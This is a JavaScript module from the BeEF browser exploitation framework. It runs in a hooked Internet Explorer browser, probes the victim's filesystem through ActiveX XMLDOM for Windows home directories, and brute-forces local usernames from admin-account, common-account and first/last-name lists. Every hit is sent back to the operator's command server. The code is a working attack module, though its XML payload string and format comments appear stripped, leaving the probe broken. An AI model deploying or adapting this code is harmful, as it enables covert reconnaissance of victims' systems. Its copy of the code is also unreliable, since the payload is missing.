// // Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (!("ActiveXObject" in window)) { beef.debug('[Detect Users] Unspported browser'); beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error()); return false; } function detect_folder(path) { var dtd = 'res://' + path; var xml = ''; var xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); xmlDoc.async = true; try { xmlDoc.loadXML(xml); return false; } catch (e) { return true; } } // Detect home directory beef.debug('[Detect Users] Checking for home directory'); var home_dirs = ["C:\\Documents and Settings\\", "C:\\Users\\"]; var default_users = ['Default', 'Default User', 'All Users']; var home_dir = ''; for (var i = 0; i < home_dirs.length; i++) { for (var j = 0; j < default_users.length; j++) { var result = detect_folder(home_dirs[i] + default_users[j]); if (result) { beef.debug('[Detect Users] Found home directory: ' + home_dirs[i]); home_dir = home_dirs[i]; break; } } } if (home_dir == '') { beef.debug('[Detect Users] Could not find home directory'); beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=could not find home directory', beef.are.status_error()); return false; } // Enumerate common usernames var users = [ // Localised administrator accounts 'Administrator', 'Järjestelmänvalvoja', 'Administrateur', 'Rendszergazda', 'Administrador', 'Администратор', 'Administrador', 'Administratör', // Common administrator accounts 'adm', 'admin', 'localadmin', 'root', // Common usernames '1234', '12345', '123456', 'helpdesk', 'support', 'user', 'guest', 'public', 'demo', 'test', 'temp', 'www', 'svc']; for (var i = 0; i < users.length; i++) { var user = users[i]; beef.debug('[Detect Users] Checking for user: ' + user); var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); } } // Common first name / last name combinations // Source: https://techcrunch.com/2009/06/23/ever-wondered-what-the-most-common-names-on-facebook-are-heres-a-list/ var first_names = ['John', 'David', 'Michael', 'Chris', 'Mike', 'Mark', 'Paul', 'Daniel', 'James', 'Maria']; var last_names = ['Smith', 'Jones', 'Johnson', 'Lee', 'Brown', 'Williams', 'Rodriguez', 'Garcia', 'Gonzalez', 'Lopez']; // All first names // Format: for (var i = 0; i < first_names.length; i++) { var user = first_names[i]; beef.debug('[Detect Users] Checking for user: ' + user); var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); } } // All first names with all last names // Format: for (var i = 0; i < first_names.length; i++) { for (var j = 0; j < first_names.length; j++) { var user = first_names[i] + last_names[j]; beef.debug('[Detect Users] Checking for user: ' + user); var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); } } } // All first names with all last names, joined by '.' // Format: . for (var i = 0; i < first_names.length; i++) { for (var j = 0; j < first_names.length; j++) { var user = first_names[i] + '.' + last_names[j]; beef.debug('[Detect Users] Checking for user: ' + user); var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); } } } // First initial + last name // Format: for (var i = 0; i < last_names.length; i++) { for (var j = 65; j <= 90; j++) { var user = String.fromCharCode(j) + last_names[i]; beef.debug('[Detect Users] Checking for user: ' + user); var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); } } } // Last name + first initial // Format: for (var i = 0; i < last_names.length; i++) { for (var j = 65; j <= 90; j++) { var user = last_names[i] + String.fromCharCode(j); beef.debug('[Detect Users] Checking for user: ' + user); var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); } } } });